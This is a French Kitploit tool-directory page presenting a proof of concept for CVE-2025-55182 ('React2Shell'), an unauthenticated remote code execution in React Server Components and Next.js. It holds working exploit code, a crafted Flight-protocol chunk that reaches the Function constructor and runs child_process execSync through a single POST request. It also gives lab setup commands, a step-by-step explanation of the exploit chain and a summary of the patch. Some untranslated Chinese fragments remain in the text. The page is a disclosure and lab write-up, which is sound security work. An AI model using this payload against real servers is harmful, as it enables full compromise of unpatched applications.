Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2025-55182-poc — Preuve de concept pour CVE-2025-55182 (React2Shell) : RCE non authentifiée dans React Server Components / Next.js via la désérialisation du protocole Flight. | Kitploit
Outils/GitHubGitHub/monarchfish/cve-2025-55182-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

Preuve de concept pour CVE-2025-55182 (React2Shell) : RCE non authentifiée dans React Server Components / Next.js via la désérialisation du protocole Flight.

Voir le dépôt
7il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Informations générales

CVE-2025-55182 est l'une des vulnérabilités de frameworks Web les plus impactantes de 2025. Les React Server Components (RSC) constituent désormais l'architecture dominante des applications Next.js modernes ; un grand nombre de projets standards créés avec create-next-app sont concernés, et la vulnérabilité peut être exploitée sans aucun code personnalisé.

ChampDétails
Identifiant CVECVE-2025-55182
AliasReact2Shell
Type de vulnérabilitéExécution de code à distance non authentifiée (Unauthenticated RCE) ; CWE-502 Désérialisation de données non fiables (Deserialization of Untrusted Data) [3]
Score CVSS10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Paquets concernésreact-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
Versions concernéesReact 19.0.0 à 19.2.0 / Next.js 14.3.0-canary.77 et versions ultérieures, 15.x, 16.x
Complexité de l'attaqueTrès faible (une seule requête HTTP POST)
Authentification requiseNon

Procédure de création du POC

1. Créer l'application avec la commande officielle

Créez une application Next avec la version vulnérable (16.0.6) :

root@kitploit:~
pnpm create [email protected] next-app --yes

2. Créer une Server Action de test

  1. Ajoutez actions.ts dans next-app/app/, en le marquant comme Server Action :

    root@kitploit:~
    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. Sur la page d'accueil (par exemple app/page.tsx), ajoutez un formulaire dont l'action pointe vers testAction ci-dessus, en incluant au moins un champ (par exemple un hidden input).

    Next.js génère pour ce formulaire un hidden input name="$ACTION_ID_<40 字元 hex>" dans le HTML ; le POC extrait cet ID du HTML de la page d'accueil à l'aide d'une expression régulière.

3. Créer un environnement POC conteneurisé sécurisé

Le next-app/Dockerfile et le docker-compose.yml du projet permettent de construire et d'exécuter l'application Next ; leur rédaction peut s'inspirer de l'exemple officiel [8].

Exécutez à la racine du projet :

root@kitploit:~
docker compose up --build -d

L'application Next démarrée est alors accessible à l'adresse http://localhost:3000.

Une fois le POC terminé, supprimez complètement l'environnement Docker :

root@kitploit:~
docker compose down -v

Étapes d'exploitation

Étape 1 : obtenir l'ACTION_ID

Lors de l'exécution du POC, le script récupère la page d'accueil et en extrait l'ID à l'aide de l'expression régulière \$ACTION_ID_([a-f0-9]{40})/. Exemple :

root@kitploit:~
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

Étape 2 : exécuter l'exploitation

Après avoir installé les dépendances à la racine du projet, exécutez :

root@kitploit:~
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

Le fragment de code clé est le suivant :

root@kitploit:~
function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

Voici un exemple d'écriture d'un fichier sur la machine cible :

root@kitploit:~
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

Étape 3 : observer les résultats

  • Lorsque la RCE réussit, le serveur peut se bloquer ou expirer après l'exécution de la commande ; la requête se termine alors par un timeout, ce qui est un comportement attendu.
  • Vérifiez sur la machine cible que la commande a bien été exécutée (par exemple en contrôlant les fichiers ou les processus).
  • Vous pouvez entrer dans le conteneur avec docker compose exec pour vérifier, ou bien utiliser Docker Desktop.

Principe de fonctionnement

Emplacement de la vulnérabilité

La vulnérabilité se situe dans le mécanisme de désérialisation du protocole Flight de React (RSC Flight Deserializer). Ce mécanisme est chargé de transmettre l'état des composants React entre le serveur et le client, mais son flux de traitement présente un grave problème de frontière de confiance (trust boundary).

Le protocole Flight de React est le format de transmission (wire format) conçu par React pour les Server Components et les Server Actions : il sérialise l'arbre de composants, les paramètres de fonctions, etc., en un flux de chunks représenté en JSON, et établit des références entre les chunks via $數字, $數字:鍵名, ce qui permet au serveur de reconstituer des valeurs JavaScript complètes.

Chaîne d'exploitation (Exploit Chain)

root@kitploit:~
L'attaquant envoie une requête HTTP POST malveillante
        ↓
[Étape 1] Création d'un objet en auto-référence (Self-referential loop)
        ↓
[Étape 2] Le moteur JavaScript est amené à appeler une fonction contrôlée par l'attaquant
        ↓
[Étape 3] Injection de données malveillantes pour déclencher le flux d'initialisation de Flight
        ↓
[Étape 4] Appel du constructeur Function via le Blob Handler
        ↓
Exécution de JavaScript arbitraire côté serveur (RCE)

React Server et format de transmission

Les Server Functions de React (c'est-à-dire les Server Actions dans Next.js) sérialisent les données que le frontend doit envoyer au backend via le protocole React Flight en chunks successifs, puis les envoient sous forme de données de formulaire (form data).

Les avantages de cette conception sont les suivants :

  • Transmission en flux (streaming) : les chunks peuvent être générés et analysés séquentiellement, sans avoir à attendre que l'intégralité du payload soit prête, ce qui est favorable au contrôle de la latence et de la mémoire.
  • Déduplication et partage : une même donnée n'est sérialisée qu'une seule fois et est référencée à plusieurs endroits, ce qui réduit les redondances et le volume transmis.
  • Compatibilité avec les POST de formulaire : les chunks sont envoyés comme champs multipart, sans nécessiter de protocole binaire personnalisé, ce qui profite également aux CDN, aux proxys et au débogage existants.
  • Expression de structures complexes : prise en charge des objets imbriqués et des structures de graphe exprimées par références, ce qui répond aux types riches exigés par le RPC.

Les chunks peuvent se référencer mutuellement, par exemple :

  • chunk 0 : ["$1"] (référence le chunk 1)
  • chunk 1 : {"object":"fruit","name":"$2:fruitName"} (référence le champ fruitName du chunk 2)
  • chunk 2 : {"fruitName":"cherry"}

Après interprétation, le serveur obtient : { object: 'fruit', name: 'cherry' }. Autrement dit, le protocole permet d'utiliser $數字:鍵名 pour référencer les propriétés d'autres chunks, puis de les combiner en un objet JavaScript final.

Cause de la vulnérabilité

Avant le correctif, l'implémentation, lors de la résolution de ces références, ne vérifiait pas strictement que la clé existe réellement sur l'objet lui-même. Un attaquant pouvait donc lire, via des références, des propriétés situées sur le prototype de l'objet.

On peut par exemple construire le payload suivant :

  • chunk 0 : ["$1:__proto__:constructor:constructor"]
  • chunk 1 : {"x":1}

Lorsque le serveur résout « __proto__ → constructor → constructor » du chunk 1, il obtient le constructeur Function ([Function: Function]), c'est-à-dire le constructeur natif qui permet de créer une fonction à partir d'une chaîne. Autrement dit : via une chaîne de références inappropriée, un attaquant peut obtenir Function côté serveur, puis exécuter des chaînes comme s'il s'agissait de code.

thenable et await

Une fois le formulaire reçu, Next.js reconstitue une valeur à partir des chunks à l'aide de decodeReplyFromBusboy, puis fait un await sur cette valeur.

En JavaScript, un objet disposant d'une méthode .then est considéré comme un thenable ; lors d'un await, ce .then est appelé. Par conséquent, si l'on parvient à faire pointer le .then du « résultat décodé » vers une fonction contrôlée par l'attaquant (par exemple le constructeur Function mentionné plus haut), cette logique est exécutée au moment du await. La prochaine étape de l'attaque est donc de : construire un objet qui, une fois décodé, se comporte comme un thenable, et faire pointer son .then vers le point d'appel souhaité (call gadget).

Du « faux chunk » au RCE

  1. Référencer le « chunk brut » avec $@0
    Dans le protocole, $@數字 signifie « prendre le contenu brut du N-ième chunk, sans le résoudre davantage ». On peut donc définir le chunk 1 comme "$@0", de sorte que le processus de résolution lise la représentation brute du « chunk 0 lui-même ».

  2. Faire pointer le .then du chunk 0 vers le prototype de Chunk
    Si le chunk 0 est un objet de la forme {"then": "$1:__proto__:then", ...} et que le chunk 1 est "$@0", la résolution définit le .then du chunk 0 comme Chunk.prototype.then (dans le protocole Flight, un chunk est lui-même un thenable). Ainsi, lorsque Next.js fait un await sur le résultat décodé, il entre dans la logique .then de Chunk.

  3. Déclencher initializeModelChunk
    Dans Chunk.prototype.then, si le status de ce « faux chunk » est "resolved_model", on entre dans initializeModelChunk. Celui-ci analyse la value du chunk comme du JSON et effectue une passe de « résurrection » (revive) sur l'objet analysé, en traitant divers préfixes spéciaux (par exemple les références de blob commençant par $B).

  4. Point d'appel : _response._formData.get(_prefix + id)
    Lors du traitement du préfixe $B, le programme exécute :
    response._formData.get(response._prefix + 某個 id).
    Si, dans le faux chunk, on contrôle _formData et _prefix via _response, et que l'on fait pointer _formData.get vers le constructeur Function tout en définissant _prefix comme la chaîne de code à exécuter, la ligne devient :
    Function("我們寫的程式碼" + "0")
    c'est-à-dire « créer une fonction à partir d'une chaîne ». Cette fonction est renvoyée comme valeur du .then du chunk et est appelée par await dans la même chaîne de promesses, exécutant ainsi notre code sur le serveur.

  5. RCE effective
    Remplacez « le code que nous avons écrit » par, par exemple :
    process.mainModule.require('child_process').execSync('要執行的系統指令');
    et vous obtenez une exécution de code à distance (RCE) sur le serveur.

Correctif (résumé)

React a corrigé cette vulnérabilité dans la PR #35277 [9] (commit e2fd5dc [10]), avec deux points clés :

  1. Limiter la résolution des propriétés pour ne pas suivre la chaîne de prototypes
    Dans la logique de résolution des références de chunks (comme requireModule), le code vérifie désormais d'abord avec hasOwnProperty que « la clé existe réellement sur l'objet lui-même » ; si ce n'est pas le cas, il renvoie undefined et ne récupère plus depuis __proto__ des propriétés qui ne devraient pas être exposées, comme constructor. Cette modification s'applique à plusieurs modules liés à Flight (tels que ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack et les configurations Parcel / Turbopack correspondantes), bloquant ainsi la chaîne d'exploitation « obtenir le constructeur Function via des références → construire un thenable → déclencher un get gadget pour exécuter du code arbitraire ».

  2. Gestion des erreurs de decodeReplyFromBusboy
    Un try/catch a été ajouté lors de l'analyse des form data (resolveField, resolveFileComplete, etc.) : dès qu'une erreur d'analyse est levée, busboyStream.destroy(error) est appelé, ce qui propage correctement l'erreur et évite que le flux reste dans un état incohérent, réduisant ainsi la surface d'exploitation en cas d'anomalie d'analyse.


Références

  1. NVD — CVE-2025-55182
  2. Calcul CVSS 3.1 (Facebook/CNA)
  3. CWE-502 — Deserialization of Untrusted Data
  4. Annonce officielle de React — Critical security vulnerability in React Server Components
  5. Avis de sécurité de Facebook — CVE-2025-55182
  6. Catalogue CISA des vulnérabilités connues pour avoir été exploitées
  7. Avis de sécurité de Next.js — RCE in React Server Components
  8. Exemple de Dockerfile Next.js with-docker
  9. React PR #35277 — Patch FlightReplyServer with fixes from ReactFlightClient
  10. Modifications détaillées de la PR #35277 de React (commit e2fd5dc)
  11. Référence du POC
Télécharger l’outil